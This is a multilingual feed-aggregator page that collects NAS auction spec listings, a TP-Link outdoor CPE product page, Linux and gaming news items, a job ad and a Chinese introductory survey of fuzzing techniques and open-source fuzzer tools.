x 2 x 4Konfliktusmentes processzor✔ Busz típusaDMI3CPU konfiguráció (max. )1 A processzor csomag mérete42 A processzor által támogatott maximális belső memória64 GBProcesszor ARK ID88967 A processzor által támogatott memória sávszélesség (max. )34, 1 GB/sProcessszorcsaládIntel Core i7MemóriaMemória bővítőhelyek2RAM kapacitás16 GBRAM típusaDDR4Maximális RAM támogatás32 GBFlash memória mérete512 MBTartozékokCsavarok száma32 Kábelek mellékelveAC / LAN (RJ-45)TeljesítményTípusNASTámogatott Windows operációs rendszerekWindows 10 Education / Windows 10 Education x64 / Windows 10 Enterprise / Windows 10 Enterprise x64 / Windows 10 Home / Windows 10 Home x64 / Windows 10 IOT Core / Windows 10 Pro / Windows 10 Pro x64 / Windows 7 Enterprise / Windows 7 Enterprise x64 / Windows 7 Home Basic / Windows 7 Home Basic x64 / Windows 7 Home Premium / Windows 7 Home Premium x64 / Windows 7 Professional / Windows 7 Professional x64 / Windows 7 Starter / Windows 7 Starter x64 / Windows 7 Ultimate / Windows 7 Ultimate x64 / Windows 8 / Windows 8 Enterprise / Windows 8 Enterprise x64 / Windows 8 Pro / Windows 8 Pro x64 / Windows 8 x64Támogatott Mac operációs rendszerekMac OS X 10. 10 Yosemite / Mac OS X 10. 11 El Capitan / Mac OS X 10. 12 Sierra / Mac OS X 10. 7 Lion / Mac OS X 10. 8 Mountain Lion / Mac OS X 10. 9 MavericksIntegrált kapcsoló✔ EszközosztályKis- és középvállalkozásokTelepített operációs rendszerQNAP Turbo SystemBiztonsági mentés jellemzőiFelhő / iSCSI LUNAz operációs rendszer verziója4, 3 Biztonsági algoritmusok256 ? 2 HTTPS, SSH, SSL/TLSBeépített iTunes kiszolgáló✔ Beépített FTP kiszolgáló✔ Rendszernapló✔ MappamegosztásCIFS / AFP / FTP / WebDAVTámogatott Linux operációs rendszerek✔ Macintosh rendszerrel kompatibilis✔ Backup funkció✔ S. M. A. R. T. támogatás✔ Újraindító gomb✔ Aktív alkatrész csere✔ Mappamegosztás hozzáférésének jogkezelése✔ Webalapú kezelés✔ Hozzáférési vezérlő lista (ACL)✔ Többnyelvű ügyfélszolgálat✔ Támogatott böngészőInternet Explorer 10+ / Chrome / Safari 7+ / FirefoxTámogatott szerver operációs rendszerekWindows Server 2003 / Windows Server 2008 R2 / Windows Server 2012 / Windows Server 2012 R2Zajszint15, 2 dBHálózatiSCSI-támogatás✔ DHCP kliens✔ DHCP szerver✔ LAN-ébresztési funkció✔ Támogatott hálózati protokollokTCP / IP / IPv4 / IPv6Támogatott Ethernet LAN adatsebesség (max. )10 Gbit/sLAN adatátviteli sebesség10 / 100 / 1000 / 10000 Mbit/sEthernet/LAN csatlakozás✔ TápellátásÁramfogyasztás (tipikus)43, 43 WAC bemeneti feszültség100 ? 240AC bemeneti frekvencia47 / 63Tápellátás helyeBeépítettTápegység (PSU) teljesítménye240 WTápegységek száma1 Ventilátor feszültség12 VÁramfogyasztás (alvó üzemmód)26, 36 WGrafikaFedélzeti grafikus adapter azonosítója0 x 191 BFedélzeti grafikus adapter OpenGL verzió4, 4 Fedélzeti grafikus adapter-modellIntel? HD Graphics 530A fedélzeti grafikus adapter alapfrekvenciája350 MhzMaximális fedélzeti grafikus adapter memória1, 7 GBA támogatott kijelzők száma (fedélzeti grafika)3 A fedélzeti grafikus adapter dinamikus frekvenciája (max. )1050 MhzAlaplapProcesszorfoglalatBGA 1440Csomagolás tartalmaGyorstelepítési útmutató✔
QNAP TVS-882ST3
Jelenlegi ára: 1 199 000 Ft
Az aukció vége: 2018-10-27 10:37
          QNAP TVS-1282 - Jelenlegi ára: 1 179 000 Ft      Cache   Translate Page      
TípusNASSzínfeketeProcesszorProcesszormodelli7-6700Processzor órajele4000000000 MhzProcesszormagok száma4 Processzor package size37. 5ProcesszorkódSR2BTRendszer bus sebesség8 GT/sProcesszor cache típusaSmart CacheProcesszorszálak száma8 LéptetőR0Bus típusDMI3Processzor kódnévSkylakeProcesszor által támogatott maximális belső memória64 GBProcesszorsorozatIntel Core i7-6700 Desktop seriesThermal Design Power (TDP)65 WConflict Free processor✔ Kihúzható füles tok71 °CCPU configuration (max)1 Processzor ARK ID88196PCI Express csatornák maximális száma16 Processzor gyártási technológiája14 nmProcesszor üzemmódok64 bitSkálázhatóság1SProcesszor által támogatott memória sávszélesség (max)34, 1 GB/sProcessszorcsaládIntel Core i7Processzor cache mérete8 MBMemóriaBelső memória mérete32 GBTámogatott maximális memória32 GBMemória bővítőhelyek4Belső memória típusaDDR4Flash memória mérete512 MBOperációs rendszerOperációs rendszer4. 2KompatibilitásTámogatott fájlrendszerekFAT32 / HFS+ / NTFS / ext3 / ext4Támogatott merevlemezHDD / SSDTámogatott Windows verziókWindows 10 Education / Windows 10 Education x64 / Windows 10 Enterprise / Windows 10 Enterprise x64 / Windows 10 Home / Windows 10 Home x64 / Windows 10 Pro / Windows 10 Pro x64 / Windows 7 Enterprise / Windows 7 Enterprise x64 / Windows 7 Home Basic / Windows 7 Home Basic x64 / Windows 7 Home Premium / Windows 7 Home Premium x64 / Windows 7 Professional / Windows 7 Professional x64 / Windows 7 Starter / Windows 7 Starter x64 / Windows 7 Ultimate / Windows 7 Ultimate x64 / Windows 8 / Windows 8 Enterprise / Windows 8 Enterprise x64 / Windows 8 Pro / Windows 8 Pro x64 / Windows 8 x64 / Windows 8. 1 / Windows 8. 1 Enterprise / Windows 8. 1 Enterprise x64 / Windows 8. 1 Pro / Windows 8. 1 Pro x64 / Windows 8. 1 x64CsatlakozókUSB portVanIntegrált GPUAlapfrekvencia350 MhzDinamikus frekvencia (max)1150 MhzTámogatott kijelzők száma3 OpenGL verzió4, 4 ModellIntel? HD Graphics 530ID1912PortokHDMI portok száma3 Ethernet LAN (RJ-45) portok száma4 TartozékokGyors telepítési útmutató✔ Csavarok száma28 Kábelek mellékelveAC / LAN (RJ-45)TeljesítményIntegrált kapcsoló✔ Device classSmall & Medium BusinessBackup funkció✔ Backup jellemzőkiSCSI LUNS. M. A. R. T. támogatás✔ Újraindító gomb✔ Webalapú kezelés✔ Hozzáférési vezérlő lista (ACL)✔ Beépített iTunes server✔ Többnyelvű ügyfélszolgálat✔ Beépített FTP server✔ Támogatott böngészőMicrosoft Internet Explorer 10+ / Mozilla Firefox 8+ / Apple Safari 4+ / Google ChromeHot spare✔ Támogatott biztonsági algoritmus256-bit AES / FIPS 140-2 / HTTPS / SSH / SSL / TLSTámogatott szerver operációs rendszerekWindows Server 2003 / Windows Server 2008 / Windows Server 2008 R2 / Windows Server 2012 / Windows Server 2012 R2Támogatott Linux verziókVanTámogatott Mac operációs rendszer verziókMac OS X 10. 0 Cheetah / Mac OS X 10. 1 Puma / Mac OS X 10. 10 Yosemite / Mac OS X 10. 11 El Capitan / Mac OS X 10. 2 Jaguar / Mac OS X 10. 3 Panther / Mac OS X 10. 4 Tiger / Mac OS X 10. 5 Leopard / Mac OS X 10. 6 Snow Leopard / Mac OS X 10. 7 Lion / Mac OS X 10. 8 Mountain Lion / Mac OS X 10. 9 MavericksZajszint21, 6 dBProcesszor speciális funkciókGraphics & IMC lithography14 nmIntel Stable Image Platform Program (SIPP) verzió1. 00Nyugalmi állapot✔ Intel Small Business Advantage (SBA) verzió1. 00Hőmérséklet monitoring Technológia✔ Enhanced Intel SpeedStep Technológia✔ Intel Wireless Display (WiDi) Technológia✔ Execute Disable Bit✔ Intel Virtualization Technology for Directed I/O (VT-d)✔ Intel? Small Business Advantage (Intel? SBA)✔ Intel Hyper-Threading Technológia✔ Intel Stable Image Platform Program (SIPP)✔ Intel? Turbo Boost Technológia✔ Intel vPro Technológia✔ Intel? Quick Sync Video Technológia✔ Intel Clear Video HD Technológia✔ Intel? Insider? ✔ Intel AES New Instructions✔ Intel Trusted Execution Technológia✔ Intel Enhanced Halt State✔ Intel VT-x with Extended Page Tables (EPT)✔ Intel? Secure Key✔ Intel? OS Guard✔ Intel Clear Video Technológia✔ Intel Clear Video Technológia for MID✔ Intel 64✔ Intel Secure Key Technológia verzió1 Intel Virtualization Technológia (VT-x)✔ Intel TSX-NI verzió1. 00Thermal solution specificationPCG 2015CIntel? InTru? 3D Technology✔ Memory channels supported by processorDuplaMemory types supported by processorDDR3L-SDRAM / DDR4-SDRAMMemory voltage supported by processor1, 35 VTanúsítványokDLNA tanúsítvánnyal✔ TárolóegységTelepített tároló típusaNincsMeghajtó mérete6. 350000006477 / 8. 8900000090678 cmHot-swap meghajtó hely✔ Meghajtó interfészSerial ATA IIITámogatott meghajtók száma12 RAID-szintek273524 / 1 / 2 / 3 / 4 / 5 / 6 / JBODRAID támogatás✔ Ergonómia / FormatervezésGépház típusatoronyLED-kijelzőkHDD / SSD / StatusHűtés típusaAktívKijelző típusaLCDBeépített kijelző✔ Grafikus megjelenítésMaximális integrált grafikus memória1, 74 GBDirectX12. 0HűtésVentilátorok száma3 fanVentilátor átmérő8 cmEnergiamenedzsmentKimeneti áramerősség5 AAC bemeneti frekvencia50 / 60 HzAC adapter bemeneti feszültség100 ? 240 VEnergiakezelés✔ Környezeti feltételekÜzemi hőmérséklettartomány (T-T)0 - 40 °CRelatív üzemi páratartalom-tartomány5 - 95%KapcsolatUSB 3. 0 (3. 1 Gen 1) Type-A portok száma5HálózatiSCSI-támogatás✔ DHCP kliens✔ DHCP szerver✔ Link-aggregáció✔ LAN-ébresztési funkció✔ Támogatott hálózati protokollokCIFS / SMB / AFP (v3. 3) / NFS(v3) / FTP / FTPS / SFTP / TFTP / HTTP(S) / Telnet / SSH / iSCSI / SNMP / SMTP / and SMSCÓriáskeret támogatással1 LAN adatátviteli sebesség10 / 100 / 1000 Mbit/sEthernet/LAN csatlakozás✔ TápellátásTápegység helyebeépítettTápegységek száma1 Tápegység (PSU) kapacitás250 WAlaplapProcesszorfoglalatLGA 1151 (Socket H4)BővítőhelyekPCI Express verzió3. 0PCI Express konfiguráció2x8, 1x8+2x4, 1x16Méretek és súlySúly11. 6 kgSzélesség369, 9 mmMagasság23, 46 cmMélység319, 8 mmBiztonságJelszavas hitelesítés✔ Technikai részletekProgramtámogatásQfinder Pro / myQNAPcloud Connect / Qsync / NetBak / vSphere / Q? center Virtual Appliance / QNAP Snapshot Agent / QsnapBeépített UPnP AV médiaszerver✔ System log✔ Berregő (áramszaggató)✔ FunkciókMappamegosztásCIFS / SMBMegosztott mappák elérési jogainak kezelése✔ CsomagolásCsomagolás nettó súly13, 7 kg
QNAP TVS-1282
Jelenlegi ára: 1 179 000 Ft
Az aukció vége: 2018-10-27 10:36
          Como Instalar os Emojis Do Galaxy S9 Em Qualquer Android      Cache   Translate Page      

Como Instalar os Emojis Do Galaxy S9 Em Qualquer Android Como Instalar os Emojis Do Galaxy S9 Em Qualquer Android BAIXE O ARQUIVO AQUI INFORMAÇÕES  O Magisk substituiu o SuperSU em muitos dispositivos Android! O Android é um sistema que tem seu kernel baseado no Linux, sendo então um sistema com código aberto. … O sistema, chamado […]

O post Como Instalar os Emojis Do Galaxy S9 Em Qualquer Android apareceu primeiro em Bob tutorias.


          TP-LINK CPE510 5GHz 300Mbps 13dBi Outdoor CPE      Cache   Translate Page      
TP-LINK CPE510 5GHz 300Mbps 13dBi Outdoor CPE





  • Terpasang antena MIMO directional 13dBi dual-polarized 2x2  
  • Daya transmisi disesuaikan dari 0 sampai 27dBm/500mw
  • Optimasi sistem level agar dapat melebihi jarak jauh 15km transmisi nirkabel
  • TP-LINK Pharos MAXtream TDMA (Time-Division Multiple-Access-) teknologi peningkatan kinerja produk pada throughput, kapasitas dan kinerja latency, ideal untuk aplikasi PTMP
  • Sistem Manajemen terpusat - Pharos Kontrol
  • Mode operasi AP / Client / Repeater / AP Router / AP Client Router (WISP)
  • Pasif PoE Adapter mendukung hingga 60 meteran (200 kaki) penyebaran Power over Ethernet dan memungkinkan perangkat dapat diatur ulang jarak jauh
Fitur

  • Built-in 13dBi dual-terpolarisasi 2x2 directional antena MIMO
  • Daya transmisi disesuaikan dari 0 sampai 27dBm / 500mw
  • Optimasi sistem-level agar dapat melebihi dari 15km jarak jauh transmisi nirkabel
  • TP-LINK Pharos MAXtream TDMA (Time-Division Multiple-Access-) teknologi untuk meningkatkan kinerja  throughput produk, kapasitas dan latency, ideal untuk aplikasi PTMP
  • Sistem Manajemen terpusat - Pharos Kontrol
  • Mode operasi AP / Client / Repeater / AP Router / AP Client Router (WISP)
  • Outdoor yang stabil dengan wadah IPX5 sertifikasi waterproof
  • Port Ethernet ganda dan terminal grounding terintegrasi
  • 6000V Anti Petir, 15KV ESD Perlindungan
  • Pasif PoE Adapter mendukung daya listrik pada kabel hingga 60 meter (200 kaki) dan memungkinkan untuk perangkat diatur ulang jarak jauh
  • Menyediakan keamanan data WEP, WPA / WPA2, WPA-PSK / WPA2-PSK
  • Bandwidth yang dipilih 5/10/20 / 40MHz
  • Menyediakan throughput Monitor, Spectrum Analyzer, Speed ​​Test dan alat Ping
  • Keselarasan antena mudah dengan indikator kualitas sinyal nirkabel melalui Web interface
Spesifikasi

HARDWARE FEATURES
ProcessorQualcomm Atheros Enterprise 560MHz CPU, MIPS 74Kc
Memory64MB DDR2 RAM, 8MB Flash
Interface1 10/100Mbps Shielded Ethernet Port (LAN0,Passive PoE in)
1 10/100Mbps Shielded Ethernet Port (LAN1, Passive PoE Passthrough)
1 Grounding Terminal
1 Reset Button
Power SupplyPassive Power over Ethernet via LAN0 (+4,5pins; -7,8pins)
Voltage range: 16-27VDC
Power Consumption10.5 Watts Max
Note: When deployed using Passive PoE, the power drawn from the power source will be higher by some amount depending on the length of the connecting cable.
Dimensions ( W x D x H )224 x 79 x 60 mm
Antenna TypeBuilt-in 13dBi 2x2 Dual-polarized Directional Antenna
Beam Width: 45° (H-Plane) / 30° (E-Plane)
Note: For more details, please refer to datasheet
Protection15KV ESD Protection
6KV Lightning Protection
EnclosureOutdoor ASA stabilized plastic material
IPX5 waterproof Certification
WIRELESS FEATURES
Wireless StandardsIEEE 802.11a/n (with Pharos MAXtream disabled)
Proprietary ProtocolTDMA Mode (with Pharos MAXtream enabled)
Wireless SpeedsUp to 300Mbps (40MHz,Dynamic)
Up to 144.4Mbps (20MHz,Dynamic)
Up to 72.2Mbps (10MHz,Dynamic)
Up to 36.1Mbps (5MHz,Dynamic)
Frequency5.15~5.85GHz
Note: Available operating frequency may vary depending on the limitations of the countries or regions in which the device is used.
Transmission Power23dBm/200mw (Adjustable power by 1dBm)
Note: Maximum transmission power may vary across different channels depending on the limitations of the countries or regions in which the device is used.
SOFTWARE FEATURES
Wireless ConfigurationsPharos MAXtream TDMA Technology
802.11a/n Modes
Selectable Channel Width: 5/10/20/40MHz
Automatic Channel Selection
Transmission Power Control
Dynamic Frequency Selection (DFS)
WDS Enable/Disable
Security: WPA/WPA2, WPA-PSK/WPA2-PSK (AES/TKIP) Encryption, 64/128/152-bit WEP Encryption
SSID Broadcast Enable/Disable
Multi-SSID with VLAN Tagging (AP mode only)
Distance/ACK Timeout Setting
Wireless MAC Address Filter
Wireless Advanced:
> Beacon Interval/RTS Threshold/Fragmentation
>Threshold/DTIM Interval/AP Isolation/Short GI/Wi-Fi Multimedia
ManagementDiscovery and Remote Management via Pharos Control application
HTTP/HTTPS Web-based management
System Log
SNMP Agent(v2c)
Ping Watch Dog
Dynamic DDNS
SSH Server
System ToolsWireless Signal Quality Indicators:
Signal Strength/Noise/Transmit CCQ/CPU/Memory
Monitors: Throughput/Stations/Interfaces/ARP/Routes/WAN/DHCP
Spectrum Analyzer
Speed Test
Ping
Traceroute
System-level OptimizationsOptimized IGMP Snooping/Proxy for multicast applications
Hardware watch dog
POE ADAPTER FEATURES
Dimensions(W x D x H)110*57*33.5mm
Input Current0.8A Max @ 100VAC
Input Voltage100VA~240VAC @ 50Hz~60Hz
Output24VDC, 1.0A Max
+4, 5pins; -7, 8pins. (Support up to 60m Power over Ethernet)
Efficiency>80%
Output Voltage24VDC(+4,5pins; -7,8pins)
Input100-240VAC, 50/60Hz
Power Status LEDs0~0.8A: Green
0.8A~1.0A: Red
CertificationsCE/FCC/UL/IC/GS/PSB/C-tick/SAA/S-Mark/KC-mark
Interfaces1 AC Jack with Earth Ground
1 10/100/1000Mbps Shielded Ethernet Port (Power + Data)
1 10/100/1000Mbps Shielded Ethernet Port (Data)
ButtonRemote Reset Button
OTHERS
CertificationCE, FCC, RoHS, IPX5
Package ContentsOutdoor Wireless CPE
24V 1A Passive PoE Adapter
Pole Mounting Straps
AC Power Cord
Installation Guide
System RequirementsMicrosoft Windows 98SE, NT, 2000, XP, Vista™ or Windows 10, Windows 8, Windows 7, MAC OS, NetWare, UNIX or Linux.
Note: We recommend you to use one of following Web browsers for an improved user experience: Google Chrome, Safari, and Firefox. IE browsers are not recommended.
EnvironmentOperating Temperature: -30°C~70°C (-22℉~158℉)
Storage Temperature: -40℃~70℃ (-40℉~158℉)
Operating Humidity: 10%~90% non-condensing
Storage Humidity: 5%~95% non-condensing
http://www.tp-link.co.id/products/details/cat-37_CPE510.html

Berat : 740 Gram

Harga ( Update Oktober 2018 ) : Rp. 690.000,-

Belanja Online Klik Disini : 
https://www.palugada.com/TP-LINK-CPE510
          Для Linux представлена система динамической отладки BPFtrace (DTrace 2.0)      Cache   Translate Page      
Брендан Грег (Brendan Gregg), один из разработчиков DTrace, объявил об открытии доступа к репозиторию проекта BPFtrace, в рамках которого развивается высокоуровневый язык для написания скриптов динамической отладки и анализа производительности приложений и ядра, продолжающий развитие системы DTrace (позиционируется как DTrace 2.0). Наработки проекта распространяются под лицензией Apache 2.0.
          Влияние несущественных изменений кода на производительность при использовании GCC      Cache   Translate Page      
Nadav Amit, разработчик ядра Linux из компании VMware, поделился результатом исследования особенностей оптимизации в GCC небольших функций ядра. Исследование было проведено после того, как разработчик столкнулся с непонятным феноменом - внесение несущественных изменений в код ядра, приводило к небольшому, но заметному снижению производительности в тестах. Примечательно, что подобные вносимые изменения были оптимизациями и теоретически должны были увеличить производительность, но на деле производительность падала.
          Multi-gigabit, Fedora v NTK, UEFI a zálohování s Restic (LinuxDays)      Cache   Translate Page      
[11 minut čtení] V neděli 7. října proběhl druhý den sedmého ročníku konference LinuxDays. Hovořilo se o správě DNS pomocí Gitu, UEFI, Linuxu v NTK, rychlém Ethernetu, zálohování s nástrojem Restic nebo bezpečném použivání Linuxu. Existují tři skupiny organizací, které se starají o DNS záznamy. V případě hostingu jde o hlavní předmět práce a správa zón bývá obvykle integrována do interního systému. V běžné organizaci se zase obvykle správa domén spojuje s adresářovým či DHCP serverem nebo výstupem z IPAM. U ISP se řeší úplně jiný problém, tam se spravují především reverzní zóny.
          XCOM 2: War of the Chosen - Tactical Legacy Pack für PC veröffentlicht; zeitbegrenzt kostenlos      Cache   Translate Page      
Für XCOM 2: War of the Chosen auf PC, Mac und Linux ist das Tactical Legacy Pack als Download-Erweiterung erschienen (Downloadgröße: 4,8 GB). Das DLC-Paket wird allen Besitzern der PC-Fassung von XCOM 2 sowie XCOM 2: War of the Chosen bis zum 3. Dezember um 18:59 Uhr kostenlos zur Verfügung gestellt. Danach wird es 7,99 Euro kosten.

Das Tactical Legacy Pack erzählt die Geschichte der Ereignisse zwischen XCOM: Enemy Unknown und XCOM 2 und enthält neue Spielmodi, Karten, Waffen, Rüstungen und Fotokabinen-Optionen.

XCOM 2: War of the Chosen und das Tactical Legacy Pack werden bei Steam derzeit mit 40%-Rabatt angeboten (23,99 Euro).

Weiter zum Video

Folgende Features nennen die Hersteller:
  • "Neue Spielmodi
    • Legacy-Einsätze: Führe einen Trupp von Soldaten durch eine Reihe aufeinanderfolgender und miteinander verbundener taktischer Einsätze:
      • Centrals Archiv - Central Officer Bradford und weitere wichtige Mitglieder von XCOM rekapitulieren die entscheidenden Einsätze zwischen den Ereignissen von XCOM: Enemy Unknown und XCOM 2, die letztlich zum Aufkeimen des Widerstands geführt haben:
        • Spuren der Vergangenheit - Nach der Zerstörung des XCOM-Hauptquartiers beginnt Central Officer Bradford seinen Weg zum Aufbau des Widerstands, indem er dorthin zurückkehrt, wo alles angefangen hat.
        • Es kam aus dem Meer - Die Übertragungen eines aufstrebenden Radio-DJs wecken die Aufmerksamkeit eines unerwünschten Publikums. Nun liegt es an Central, den DJ vor den endlosen Horden hungriger Zuhörer zu bewahren.  
        • Avenger-Montage - Begleite Lily Shen, während sie die Avenger zur neuen Basis für die wachsenden Truppen einer wiedererstarkten XCOM umrüstet.
        • Das Lazarus-Projekt - ADVENT entführt wichtige Mitglieder des Widerstands und es liegt an Central, einige der berühmtesten Soldaten von XCOM zu retten.
      • Widerstandsarchiv - Bekämpfe die feindlichen Truppen in einer Reihe taktischer Einstätze mit steigender Schwierigkeit.
    • Scharmützelmodus - Erstelle und spiele deine eigenen benutzerdefinierten taktischen XCOM-Einsätze mit dem integrierten Editor, der die Anpassung zahlreicher Optionen (z. B. Karte, Truppzusammenstellungen, Ziele, Feinde und vieles mehr) ermöglicht.
  • Neue Karten: Stürz dich in Gefechte auf 28 neuen Karten, einschließlich neu aufgelegter Karten und Szenen aus XCOM: Enemy Unknown und XCOM: Enemy Within. Diese Karten kommen in den Einsätzen aus Centrals Archiv vor.
  • Neue Waffen und Rüstungen: Statte deine Soldaten mit neu interpretierten Versionen der konventionellen, Laser- und Plasmawaffen sowie der Kevlar-, Schalen- und Titanrüstungen aus XCOM: Enemy Unknown aus. Schließe Centrals Archiv ab, um diese neuen Ausrüstungsgegenstände auch für die reguläre Einzelspielerkampagne freizuschalten.
  • Neue Anpassungs- und Fotokabinen-Optionen: Individualisiere deine Soldaten mit neuen Einstellungen und Helmen. Erstelle neue Bilder in der Fotokabine mit zusätzlichen Hintergründen, Farben und Charakterposen.
  • Neue Soundtrack-Optionen: Über die neue Soundtrack-Auswahl kannst du entscheiden, ob du die Kampagne von XCOM 2: War of the Chosen mit dem ursprünglichen Soundtrack, dem Soundtrack von XCOM: Enemy Unknown oder einen brandneuen, von der Musik aus dem ursprünglichen UFO: Enemy Unknown inspirierten Soundtrack spielen möchtest.
  • Offline-Herausforderungsmodus: Spiele alle der über 100 Herausforderungen aus War of the Chosen so oft du willst."

Weiter zum Video


          Linux Application Administrator - Digital Management, LLC - Kearneysville, WV      Cache   Translate Page      
DMI is currently seeking to hire a Linux Application Administrator Position Description: Works as a senior member of the Sustainment Operations team by...
From Digital Management, LLC - Tue, 14 Aug 2018 18:58:39 GMT - View all Kearneysville, WV jobs
          Fuzzing技术总结与工具列表      Cache   Translate Page      
版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/wcventure/article/details/82085251

首先推荐阅读2018年computing Surveys 的《Fuzzing: Art, Science, and Engineering》
https://github.com/wcventure/wcventure/blob/master/Paper/Fuzzing_Art_Science_and_Engineering.pdf
其次推荐阅读2018年Cybersecurity 的 《Fuzzing: a survey》
https://www.researchgate.net/publication/325577316_Fuzzing_a_survey
里面对fuzzing技术和fuzzing工具有详细的介绍。

一、什么是Fuzzing?

Fuzz本意是“羽毛、细小的毛发、使模糊、变得模糊”,后来用在软件测试领域,中文一般指“模糊测试”,英文有的叫“Fuzzing”,有的叫“Fuzz Testing”。本文用fuzzing表示模糊测试。

Fuzzing技术可以追溯到1950年,当时计算机的数据主要保存在打孔卡片上,计算机程序读取这些卡片的数据进行计算和输出。如果碰到一些垃圾卡片或一些废弃不适配的卡片,对应的计算机程序就可能产生错误和异常甚至崩溃,这样,Bug就产生了。所以,Fuzzing技术并不是什么新鲜技术,而是随着计算机的产生一起产生的古老的测试技术。

Fuzzing技术是一种基于黑盒(或灰盒)的测试技术,通过自动化生成并执行大量的随机测试用例来发现产品或协议的未知漏洞。随着计算机的发展,Fuzzing技术也在不断发展。

二、Fuzzing有用么?

Fuzzing是模糊测试,顾名思义,意味着测试用例是不确定的、模糊的。

计算机是精确的科学和技术,测试技术应该也是一样的,有什么的输入,对应什么样的输出,都应该是明确的,怎么会有模糊不确定的用例呢?这些不确定的测试用例具体会有什么作用呢?

为什么会有不确定的测试用例,我想主要的原因是下面几点:

1、我们无法穷举所有的输入作为测试用例。我们编写测试用例的时候,一般考虑正向测试、反向测试、边界值、超长、超短等一些常见的场景,但我们是没有办法把所有的输入都遍历进行测试的。

2、我们无法想到所有可能的异常场景。由于人类脑力的限制,我们没有办法想到所有可能的异常组合,尤其是现在的软件越来越多的依赖操作系统、中间件、第三方组件,这些系统里的bug或者组合后形成的bug,是我们某个项目组的开发人员、测试人员无法预知的。

3、Fuzzing软件也同样无法遍历所有的异常场景。随着现在软件越来越复杂,可选的输入可以认为有无限个组合,所以即使是使用软件来遍历也是不可能实现的,否则你的版本可能就永远也发布不了。Fuzzing技术本质是依靠随机函数生成随机测试用例来进行测试验证,所以是不确定的。

这些不确定的测试用例会起到我们想要的测试结果么?能发现真正的Bug么?

1、Fuzzing技术首先是一种自动化技术,即软件自动执行相对随机的测试用例。因为是依靠计算机软件自动执行,所以测试效率相对人来讲远远高出几个数量级。比如,一个优秀的测试人员,一天能执行的测试用例数量最多也就是几十个,很难达到100个。而Fuzzing工具可能几分钟就可以轻松执行上百个测试用例。

2、Fuzzing技术本质是依赖随机函数生成随机测试用例,随机性意味着不重复、不可预测,可能有意想不到的输入和结果。

3、根据概率论里面的“大数定律”,只要我们重复的次数够多、随机性够强,那些概率极低的偶然事件就必然会出现。Fuzzing技术就是大数定律的典范应用,足够多的测试用例和随机性,就可以让那些隐藏的很深很难出现的Bug成为必然现象。

目前,Fuzzing技术已经是软件测试、漏洞挖掘领域的最有效的手段之一。Fuzzing技术特别适合用于发现0 Day漏洞,也是众多黑客或黑帽子发现软件漏洞的首选技术。Fuzzing虽然不能直接达到入侵的效果,但是Fuzzing非常容易找到软件或系统的漏洞,以此为突破口深入分析,就更容易找到入侵路径,这就是黑客喜欢Fuzzing技术的原因。

三、基于生成和基于编译的Fuzzing算法?*

Fuzzing引擎算法中,测试用例的生成方式主要有2种:
1)基于变异:根据已知数据样本通过变异的方法生成新的测试用例;
2)基于生成:根据已知的协议或接口规范进行建模,生成测试用例;
一般Fuzzing工具中,都会综合使用这两种生成方式。

基于变异的算法核心要求是学习已有的数据模型,基于已有数据及对数据的分析,再生成随机数据做为测试用例。

四、state-of-the-art AFL

AFL就是著名的基于变异的Fuzzer。
以下有一些关于state-of-the-art AFL的资料

  1. american fuzzy lop (2.52b)
    http://lcamtuf.coredump.cx/afl/
  2. AFL内部实现细节小记
    http://rk700.github.io/2017/12/28/afl-internals/
  3. afl-fuzz技术白皮书
    https://blog.csdn.net/gengzhikui1992/article/details/50844857
  4. 如何使用AFL进行一次完整的fuzz过程
    https://blog.csdn.net/abcdyzhang/article/details/53487683
  5. AFL(American Fuzzy Lop)实现细节与文件变异
    https://paper.seebug.org/496/
  6. fuzz实战之libfuzzer
    https://www.secpulse.com/archives/71898.html

1

- Static analysis
- Dynamic analysis
- Symbolic execution
- Fuzzing

T1

- Generation-based Fuzzing
- Mutation-based Fuzzing

T2

- White box fuzzing
- Grey box fuzzing
- Black box fuzzing

T3

- Fuzzing技术中的关键

T4

- Fuzzing 中

T5

- 至今fuzzing工具文献的引用关系,Fuzzing工具的分类和历史

F1

- Fuzzing 工具之调研,还有一张很好的整理后的图表

F2

最后,再整理一下部分开源fuzzing工具的列表
原文来自:[https://www.peerlyst.com/posts/resource-open-source-fuzzers-list],并增加2018年最新的诸如CollAFL和SnowFuzz等工具
1.开源Fuzzers工具
2.Fuzzing的线束或框架
3.其它 Fuzzers 工具是免费的,但是和开源比不值得一提
4.Fuzzing的有效超载
5.博客将帮助你更好的了解Fuzz
6.其它关于Fuzzing博客或资源
7.商业Fuzzers工具

1.开源Fuzzers

CollAFLhttp://chao.100871.net/papers/oakland18.pdf
路径敏感的Fuzzer,解决了AFL中bitmap路径冲突的问题。
并提出了一种选择seed的策略,能更快提高覆盖率。

SnowFuzz
https://arxiv.org/pdf/1708.08437.pdf

VUzzer
http://www.cs.vu.nl//~giuffrida/papers/vuzzer-ndss-2017.pdf
基于应用感知的自进化模糊工具。在这篇文章中,我们提出一个应用感知的进化模糊策略(不需要以前的知识应用或格式输入)。为了最小化地覆盖并扩展更深的路径,我们利用基于静态和动态分析的控制以及数据流功能,来推断应用程序的基本属性。与Application-agnostic方法相比,这可以更快地生成有趣的输入。我们实行我们的模糊策略在VUzzer上,并且用三种不同的数据评估它:DARPA的大挑战二进制文件(CGC)、一组真实的应用程序(二进制输入解析器)和最近发布的LAVA数据集。

Afl-fuzz(American fuzzy lop)
http://lcamtuf.coredump.cx/afl/
Afl-fuzz是一种基于面向安全的模糊测试工具,它采用了一种新型的方式(编译时检测和遗传算法),来自动发掘干净的、有趣的测试案例,即在目标二进制中触发新的内部状态。这基本上改善了模糊代码的功能覆盖。该工具生成的简洁的合成语料库也可以用来传播其它更多的劳动型或资源密集型测试方案。
与其他仪器化的模糊工具相比,afl-fuzz是以实用性而被设计的:它具有适度的性能开销,采用了多种高效的模糊战略,和努力最小化的技巧,基本上不需要配置,并且能够无缝处理复杂的、真实世界案例,以及常见的图像分析或文件压缩等。

Filebuster
一个非常快速和灵活的网络模糊工具

TriforceAFL
AFL / QEMU 模糊器具有全系统的仿真。这是AFL的修补版本,支持使用QEMU的全系统模糊测试。它所包含的QEMU已经更新,允许在运行x86_64的系统仿真器时进行分支机构跟踪。它也添加了额外的指令来启动AFL的forkserver,进行模糊设置,并标记测试用例的启动和停止。

Nightmare:
https://github.com/joxeankoret/nightmare
一个具有web管理的分布式模糊测试套件。

Grr
DECREE二进制的高吞吐量模糊器和仿真器

Randy:
http://ptrace-security.com/blog/randy-random-based-fuzzer-in-python/
Python中的基于随机的模糊工具

IFuzzer
一个进化型的翻译模糊器

Dizzy:
https://github.com/ernw/dizzy
基于python的模糊框架:
